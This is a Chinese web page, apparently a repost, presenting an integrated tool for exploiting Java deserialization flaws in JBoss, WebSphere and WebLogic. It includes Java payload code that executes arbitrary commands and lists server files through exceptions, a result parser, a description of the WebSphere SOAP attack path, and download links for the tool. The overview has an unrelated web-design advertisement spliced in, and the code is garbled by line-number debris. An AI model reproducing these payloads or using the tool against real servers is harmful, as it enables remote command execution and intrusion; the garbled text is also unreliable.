Java反序列化集成工具

0X00 概述

为秀屿等地区用户提供了全套网页设计制作服务，及秀屿网站建设行业解决方案。主营业务为网站设计、网站建设、秀屿网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！

Java反序列化漏洞已经被曝出一段时间了，本人参考了网上大神的放出来的工具，将Jboss、Websphere和weblogic的反序列化漏洞的利用集成到了一起。其实，WebSphere的利用过程也和JBoss差不多，只不过在发送Payload和解析结果的时候多了个Base64编码(解码)的过程。

本工具暂时支持的功能：

1、本地命令执行并回显，无须加载外部jar包，支持纯内网环境检测。

2、支持JBoss、WebSphere和Weblogic的反序列化漏洞检测。

3、支持https数据传输。

4、支持文件目录列表。

0X01 WebSphere的反序列化漏洞利用过程

WebSphere的反序列化漏洞发生的位置在SOAP的通信端口8880，使用的通信协议是https，发送的数据是XML格式的数据。

 
 
 
 
    
  
  
  
  
  1.  
    2. 
  
  
  
  
  2.    
    3. 
  
  
  
  
  3.    
    4. 
  
  
  
  
  4.   BasicAuth 
    5. 
  
  
  
  
  5.    
    6. 
  
  
  
  
  6.    
    7. 
  
  
  
  
  7.    
    8. 
  
  
  
  
  8.   Base64(payload) 
    9. 
  
  
  
  
  9.   ringBufferSize 
    10. 
  
  
  
  
  10.    
    11. 
  
  
  
  
  11.    
    12. 
  
  
  
  
  12.    
    13.

将我们构造的执行命令的payload通过base64编码后放在objectname节点中，通过https发送到服务器端，服务器端调用相应的执行函数，将结果发送给客户端，同样的，返回的数据也是经过base64编码的。WebSphere的Payload和JBoss的基本一致。如下是执行命令的payload。

 
 
 
 
    
  
  
  
  
  1. public RunCommand(String command) throws Exception  
    2. 
  
  
  
  
  2.    {  
    3. 
  
  
  
  
  3.            Process proc = Runtime.getRuntime().exec(command);  
    4. 
  
  
  
  
  4.            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
    5. 
  
  
  
  
  5.            StringBuffer sb = new StringBuffer();  
    6. 
  
  
  
  
  6.            String line;  
    7. 
  
  
  
  
  7.            while ((line = br.readLine()) != null)  
    8. 
  
  
  
  
  8.            {  
    9. 
  
  
  
  
  9.                sb.append(line).append("\n");  
    10. 
  
  
  
  
  10.            }  
    11. 
  
  
  
  
  11.            String result = "\r\n\r\n==========" + sb.toString() + "==========\r\n";  
    12. 
  
  
  
  
  12.            br.close();  
    13. 
  
  
  
  
  13.            Exception e=new Exception(result);  
    14. 
  
  
  
  
  14.            throw e;  
    15. 
  
  
  
  
  15.    } 
    16.

将命令执行结果以字符隔开，这样在客户端获取数据后，可通过split、substring等方法对命令的执行结果进行解析。解析命令的源码如下：

 
 
 
 
    
  
  
  
  
  1. public static String parseResult(String result)  
    2. 
  
  
  
  
  2.    {  
    3. 
  
  
  
  
  3.    String tmp=result.split("")[1];  
    4. 
  
  
  
  
  4.    String reString=tmp.split("")[0];  
    5. 
  
  
  
  
  5.    String resultTmp=new String(Base64.getDecoder().decode(reString));  
    6. 
  
  
  
  
  6.    int x1=resultTmp.indexOf("==========")+10;  
    7. 
  
  
  
  
  7.    int x2=resultTmp.lastIndexOf("==========")-1;  
    8. 
  
  
  
  
  8.    String returnValue="";  
    9. 
  
  
  
  
  9.    if(x1>=0&&x2>=0)  
    10. 
  
  
  
  
  10.    returnValue=resultTmp.substring(x1, x2).trim();  
    11. 
  
  
  
  
  11.    else  
    12. 
  
  
  
  
  12.    returnValue=resultTmp;  
    13. 
  
  
  
  
  13.    return returnValue;  
    14. 
  
  
  
  
  14.    } 
    15.

0X02 文件列表读取

获取文件列表的功能是通过Java的listRoot和listFiles来实现的，获取文件和目录列表的过程和命令执行大概相同。在这我就简单的描述一下过程：如果传入方法的是一个空值，那么就通过Files.listRoot获取根目录或者驱动器列表，否则，传入的值是路径的话，就通过file.listFiles方法获取目录下的所有文件和目录，将获取到的目录名放到{}中，将文件名放在[]中，这样，就方便我们在程序中对获取到的数据进行解析。

获取目录的payload代码如下：

 
 
 
 
    
  
  
  
  
  1. public GetFileList(String fileName) throws Exception  
    2. 
  
  
  
  
  2.     {  
    3. 
  
  
  
  
  3.     StringBuilder sb=new StringBuilder();  
    4. 
  
  
  
  
  4.     String result=new String();  
    5. 
  
  
  
  
  5.     if(fileName.isEmpty())  
    6. 
  
  
  
  
  6.     {  
    7. 
  
  
  
  
  7.     File[] files=File.listRoots();  
    8. 
  
  
  
  
  8.     for(int i=0;i
  
  
  
  
  9.     {  
    10. 
  
  
  
  
  10.     sb.append(files[i].getAbsolutePath()).append(",");  
    11. 
  
  
  
  
  11.     }  
    12. 
  
  
  
  
  12.     result="{"+sb.toString().substring(0,sb.toString().length()-1)+"}";  
    13. 
  
  
  
  
  13.     }  
    14. 
  
  
  
  
  14.     else  
    15. 
  
  
  
  
  15.     {  
    16. 
  
  
  
  
  16.     File file=new File(fileName);  
    17. 
  
  
  
  
  17.     StringBuilder dirList=new StringBuilder();  
    18. 
  
  
  
  
  18.     StringBuilder fileList=new StringBuilder();  
    19. 
  
  
  
  
  19.     if(file.isDirectory())  
    20. 
  
  
  
  
  20.     {  
    21. 
  
  
  
  
  21.     File[] list=file.listFiles();  
    22. 
  
  
  
  
  22.     dirList.append("{");  
    23. 
  
  
  
  
  23.     fileList.append("[");  
    24. 
  
  
  
  
  24.     for(int i=0;i
  
  
  
  
  25.     {  
    26. 
  
  
  
  
  26.     if(list[i].isDirectory())  
    27. 
  
  
  
  
  27.     dirList.append(list[i].getAbsolutePath()).append(",");  
    28. 
  
  
  
  
  28.     else  
    29. 
  
  
  
  
  29.     fileList.append(list[i].getAbsolutePath()).append(",");  
    30. 
  
  
  
  
  30.     }  
    31. 
  
  
  
  
  31.     }  
    32. 
  
  
  
  
  32.     if(!dirList.toString().isEmpty())  
    33. 
  
  
  
  
  33.     sb.append(dirList.toString().substring(0,dirList.toString().length()-1)).append("}");  
    34. 
  
  
  
  
  34.     if(!fileList.toString().isEmpty())  
    35. 
  
  
  
  
  35.     sb.append(fileList.toString().substring(0,fileList.toString().length()-1)).append("]");  
    36. 
  
  
  
  
  36.     result=sb.toString();  
    37. 
  
  
  
  
  37.     }  
    38. 
  
  
  
  
  38.     result="\r\n\r\n==========\r\n"+result+"\r\n==========\r\n";  
    39. 
  
  
  
  
  39.     Exception e=new Exception(result);  
    40. 
  
  
  
  
  40.             throw e;  
    41. 
  
  
  
  
  41.     } 
    42.

解析的时候，先将执行结果分离出来，再对结果base64解码，再进一步区分目录和文件，分别添加到界面的目录树中。

注：设计时为了美观，使用了JavaFX来设计界面，运行时需要JDK1.8环境。

程序运行效果如下：

 

工具下载地址：http://pan.baidu.com/s/1sjXjsBz 密码: b423

2016.1.5 工具更新内容：

地址： http://pan.baidu.com/s/1jGSEFFS 密码: si6t

1.多线程处理任务，解决命令执行过程中界面无法响应的问题

2.[Bug Fix]weblogic console端口改为80时无法获取数据

3.[Bug Fix]weblogic第一次获取信息或执行命令响应时间过长的问题

网站名称：Java反序列化集成工具
网址分享：http://www.36103.cn/qtweb/news17/10767.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

python知识

同城分类信息

成都网站建设报价　　 　小程序开发公司　　 　成都机房机柜租用　　 　免备案空间　　 　产品包装设计　　 　晟和广告　　 　网络推广外包　　 　西信服务器托管　　 　古蔺网站建设　　 　传美奇电气　　 　梓潼网站建设　　 　重庆外贸网站建设　　 　成都门窗定制　　 　自适应网站设计　　 　小谭建站工作室　　 　名片印刷厂　　 　绵竹网站建设　　 　微信小程序开发　　 　广西弘博建站　　 　合江网站建设